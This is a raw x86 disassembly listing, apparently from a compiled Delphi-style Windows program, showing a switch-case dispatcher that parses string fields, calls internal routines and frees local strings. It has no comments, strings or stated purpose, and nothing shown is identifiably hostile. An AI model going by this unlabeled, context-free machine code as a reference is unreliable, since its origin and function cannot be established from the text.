mov ecx, 0x4dcc94
call fcn.00404880
mov edx, dword [ebp - 0xa34]
lea eax, [ebp - 0xa30]
call fcn.00404e38
mov eax, dword [ebp - 0xa30]
xor edx, edx
pop ecx
call fcn.0046e4b8
jmp case.0x4d70d0.10
mov eax, dword [0x534868]
mov eax, dword [eax]
xor edx, edx
call fcn.004b2184
jmp case.0x4d70d0.10
mov eax, dword [0x53b548]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle case.0x4d70d0.10
mov eax, dword [0x534338]
cmp dword [eax], 0
jne 0x4dc10e
call fcn.004cd4f8
mov eax, dword [0x53425c]
cmp dword [eax], 0
jne 0x4dc11d
call fcn.004ce818
mov eax, dword [0x534418]
cmp dword [eax], 0
jne 0x4dc12c
call fcn.004cef74
movsx eax, word [0x53b53c]
mov dword [0x53b544], eax
mov ax, word [0x53b53c]
cmp ax, word [0x53b53e]
jge 0x4dc162
movsx eax, word [0x53b53e]
movsx edx, word [0x53b53c]
sub eax, edx
call fcn.0040307c
add dword [0x53b544], eax
mov dword [0x53b54c], 0xffffffff
mov byte [0x533558], 1
jmp case.0x4d70d0.107
mov byte [0x533558], 0
jmp case.0x4d70d0.107
mov ax, word [ebx + 0x10]
mov word [0x53b53c], ax
mov eax, dword [ebx + 0x10]
shr eax, 0x10
mov word [0x53b53e], ax
mov al, byte [ebx + 0x14]
and al, 1
mov byte [0x53b540], al
lea edx, [ebp - 0xa38]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov edx, dword [ebp - 0xa38]
mov eax, dword [0x53b548]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [0x53b548]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jne case.0x4d70d0.10
mov byte [0x533558], 0
jmp case.0x4d70d0.10
cmp byte [0x533558], 0
je 0x4dc1ec
mov dword [ebp - 0x48], 1
jmp 0x4dc1f1
xor eax, eax
mov dword [ebp - 0x48], eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0x48]
mov edx, 0xc5
mov eax, dword [ebp - 0x28]
call fcn.004d53a4
jmp case.0x4d70d0.10
lea edx, [ebp - 0xe8]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov edx, dword [ebp - 0xe8]
mov eax, 0x4dcc30
call fcn.00404b70
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 1
jle case.0x4d70d0.10
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46a694]
call fcn.0046a91c
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4e17f0
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4e1a3c
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4e1fcc
lea eax, [ebp - 0xec]
push eax
mov ecx, dword [ebp - 0x48]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe8]
call fcn.00404a8c
lea eax, [ebp - 0xec]
call fcn.004d3850
mov eax, dword [ebp - 0xd8]
add eax, 0x40
mov edx, dword [ebp - 0xec]
call fcn.004045d0
lea eax, [ebp - 0xa3c]
push eax
mov edx, dword [ebp - 0x48]
inc edx
mov ecx, 0x400
mov eax, dword [ebp - 0xe8]
call fcn.00404a8c
mov edx, dword [ebp - 0xa3c]
mov eax, dword [ebp - 0xd8]
call fcn.0046a978
mov eax, dword [ebp - 0xd8]
mov byte [eax + 0x68], 1
mov eax, dword [ebp - 0xd8]
mov byte [eax + 0x71], 0
mov eax, dword [ebp - 0xd8]
mov dword [eax + 0xc], 7
xor eax, eax
push ebp
push 0x4dc3a4
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x414af0]
call fcn.00403740
mov dword [0x53b5dc], eax
mov eax, dword [ebp - 0xd8]
call fcn.0046a9d0
mov eax, dword [0x53b5dc]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jne 0x4dc353
mov edx, 0x4dcca8
mov eax, dword [0x53b5dc]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0
push 0
lea edx, [ebp - 0xa40]
mov eax, dword [0x53b5dc]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0xa40]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0x22
mov eax, dword [ebp - 0x28]
call fcn.004d5208
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4d70d0.10
mov eax, dword [ebp - 0xd8]
call fcn.00403770
mov eax, dword [0x53b5dc]
call fcn.00403770
ret
mov dl, 1
mov eax, dword [0x414af0]
call fcn.00403740
mov esi, eax
mov dl, 1
mov eax, dword [0x414af0]
call fcn.00403740
mov dword [ebp - 0x24], eax
lea edx, [ebp - 0xe8]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov edx, dword [ebp - 0xe8]
mov eax, 0x4dcc30
call fcn.00404b70
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jle 0x4dc64e
cmp dword [ebp - 0x48], 1
jle 0x4dc416
lea eax, [ebp - 0xf4]
push eax
mov ecx, dword [ebp - 0x48]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe8]
call fcn.00404a8c
jmp 0x4dc421
lea eax, [ebp - 0xf4]
call fcn.0040457c
lea eax, [ebp - 0xe8]
mov ecx, dword [ebp - 0x48]
mov edx, 1
call fcn.00404acc
mov edx, dword [ebp - 0xe8]
mov eax, 0x4dcc30
call fcn.00404b70
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0xec]
push eax
mov ecx, dword [ebp - 0x48]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe8]
call fcn.00404a8c
lea eax, [ebp - 0xec]
call fcn.004d3850
lea eax, [ebp - 0xec]
call fcn.0046a8b0
lea eax, [ebp - 0xe8]
mov ecx, dword [ebp - 0x48]
mov edx, 1
call fcn.00404acc
mov edx, dword [ebp - 0xe8]
mov eax, 0x4dcc30
call fcn.00404b70
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0xa44]
push eax
mov ecx, dword [ebp - 0x48]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe8]
call fcn.00404a8c
mov edx, dword [ebp - 0xa44]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea eax, [ebp - 0xa48]
push eax
mov edx, dword [ebp - 0x48]
inc edx
mov ecx, 0x61a8000
mov eax, dword [ebp - 0xe8]
call fcn.00404a8c
mov edx, dword [ebp - 0xa48]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [ebp - 0x24]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x4dc53e
inc eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0xa4c]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x24]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xa4c]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x54]
mov edi, eax
mov edx, edi
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x48]
inc dword [ebp - 0x48]
dec dword [ebp - 0x118]
jne 0x4dc50a
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x4dc595
inc eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0xa54]
mov edx, dword [ebp - 0x48]
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0xa54]
lea eax, [ebp - 0xa50]
mov edx, dword [ebp - 0xec]
call fcn.00404880
mov eax, dword [ebp - 0xa50]
call fcn.004098f0
inc dword [ebp - 0x48]
dec dword [ebp - 0x118]
jne 0x4dc558
cmp dword [ebp - 0xf4], 0
je 0x4dc5ef
lea ecx, [ebp - 0xa5c]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0xa5c]
lea eax, [ebp - 0xa58]
mov edx, dword [ebp - 0xec]
call fcn.00404880
mov eax, dword [ebp - 0xa58]
push eax
lea eax, [ebp - 0xa60]
mov ecx, dword [ebp - 0xf4]
mov edx, dword [ebp - 0xec]
call fcn.00404880
mov edx, dword [ebp - 0xa60]
pop eax
call fcn.00409908
mov al, byte [0x4dca38]
push eax
lea eax, [ebp - 0xe8]
push eax
lea edx, [ebp - 0xa68]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0xa68]
lea edx, [ebp - 0xa64]
call fcn.00408fd4
mov eax, dword [ebp - 0xa64]
mov ecx, 0x4dcc30
mov edx, 0x4dccbc
call fcn.0040d908
push 0
push 0
mov eax, dword [ebp - 0xe8]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0x24
mov eax, dword [ebp - 0x28]
call fcn.004d5208
mov eax, esi
call fcn.00403770
mov eax, dword [ebp - 0x24]
call fcn.00403770
jmp case.0x4d70d0.10
mov eax, dword [0x533510]
mov edx, dword [0x533514]
cmp edx, dword [0x532efc]
jne 0x4dc680
cmp eax, dword [0x532ef8]
jbe 0x4dc6c1
jmp 0x4dc682
jle 0x4dc6c1
mov eax, dword [0x53b4d8]
push eax
push 0
push 0
push 0
push 0x3e8
mov eax, dword [0x533510]
mov edx, dword [0x533514]
sub eax, dword [0x532ef8]
sbb edx, dword [0x532efc]
call fcn.00405910
mov ecx, eax
mov edx, 0xc7
mov eax, dword [ebp - 0x28]
call fcn.004d53a4
jmp case.0x4d70d0.10
mov eax, dword [0x53b4d8]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0xc7
mov eax, dword [ebp - 0x28]
call fcn.004d53a4
jmp case.0x4d70d0.10
lea edx, [ebp - 0xe8]
lea eax, [ebx + 0x20]
call fcn.00409ea8
mov eax, dword [ebp - 0xe8]
call fcn.004af46c
xor eax, eax
mov dword [0x532ef0], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4dc9b9
lea eax, [ebp - 0xa68]
mov edx, 0xe
call fcn.004045a0
lea eax, [ebp - 0xa30]
call fcn.00404c98
lea eax, [ebp - 0xa2c]
call fcn.0040457c
lea eax, [ebp - 0xa28]
call fcn.00404c98
lea eax, [ebp - 0xa24]
call fcn.0040457c
lea eax, [ebp - 0xa20]
call fcn.00404c98
lea eax, [ebp - 0xa1c]
call fcn.0040457c
lea eax, [ebp - 0xa18]
mov edx, 3
call fcn.00404cb0
lea eax, [ebp - 0xa0c]
call fcn.0040457c
lea eax, [ebp - 0xa08]
mov edx, 3
call fcn.00404cb0
lea eax, [ebp - 0x9fc]
call fcn.0040457c
lea eax, [ebp - 0x9f8]
mov edx, 3
call fcn.00404cb0
lea eax, [ebp - 0x9ec]
mov edx, 2
call fcn.004045a0
lea eax, [ebp - 0x9e4]
mov edx, 4
call fcn.00404cb0
lea eax, [ebp - 0x9d4]
call fcn.0040457c
lea eax, [ebp - 0x9d0]
mov edx, 6
call fcn.00404cb0
lea eax, [ebp - 0x9b8]
call fcn.0040457c
lea eax, [ebp - 0x9b4]
mov edx, 4
call fcn.00404cb0
lea eax, [ebp - 0x9a4]
call fcn.0040457c
lea eax, [ebp - 0x9a0]
call fcn.00404c98
lea eax, [ebp - 0x99c]
mov edx, 2
call fcn.004045a0
lea eax, [ebp - 0x994]
call fcn.00404c98
lea eax, [ebp - 0x990]
mov edx, 0xb
call fcn.004045a0
lea eax, [ebp - 0x964]
call fcn.00404c98
lea eax, [ebp - 0x960]
mov edx, 6
call fcn.004045a0
lea eax, [ebp - 0x948]
call fcn.00404c98
lea eax, [ebp - 0x944]
mov edx, 7
call fcn.004045a0
lea eax, [ebp - 0x928]
mov edx, 2
call fcn.00404cb0
lea eax, [ebp - 0x920]
mov edx, 9
call fcn.004045a0
lea eax, [ebp - 0x8fc]
call fcn.00404c98
lea eax, [ebp - 0x8f8]
mov edx, 3
call fcn.004045a0
lea eax, [ebp - 0x8ec]
call fcn.00404c98
lea eax, [ebp - 0x8e8]
call fcn.0040457c
lea eax, [ebp - 0x8e4]
call fcn.00404c98
lea eax, [ebp - 0x8e0]
mov edx, 2
call fcn.004045a0
lea eax, [ebp - 0x8d8]
call fcn.0040457c
lea eax, [ebp - 0x8d4]
call fcn.00404c98
lea eax, [ebp - 0x8d0]
mov edx, 3
call fcn.004045a0
lea eax, [ebp - 0x108]
mov edx, 2
call fcn.004045a0
lea eax, [ebp - 0xf8]
mov edx, 5
call fcn.004045a0
lea eax, [ebp - 0xe0]
mov edx, 2
call fcn.004045a0
lea eax, [ebp - 0xd4]
mov edx, 2
call fcn.004045a0
lea eax, [ebp - 0xc4]
call fcn.0040457c
lea eax, [ebp - 0xc0]
mov edx, 2
call fcn.00404cb0
lea eax, [ebp - 0x9c]
call fcn.0040457c
lea eax, [ebp - 0x88]
call fcn.0040457c
lea eax, [ebp - 0x78]
mov edx, 2
call fcn.004045a0
lea eax, [ebp - 0x6c]
call fcn.0040457c
lea eax, [ebp - 0x64]
mov edx, 4
call fcn.004045a0
lea eax, [ebp - 0x3c]
mov edx, 3
call fcn.004045a0
lea eax, [ebp - 0x19]
mov edx, dword [0x4eec24]
call fcn.004052f0
ret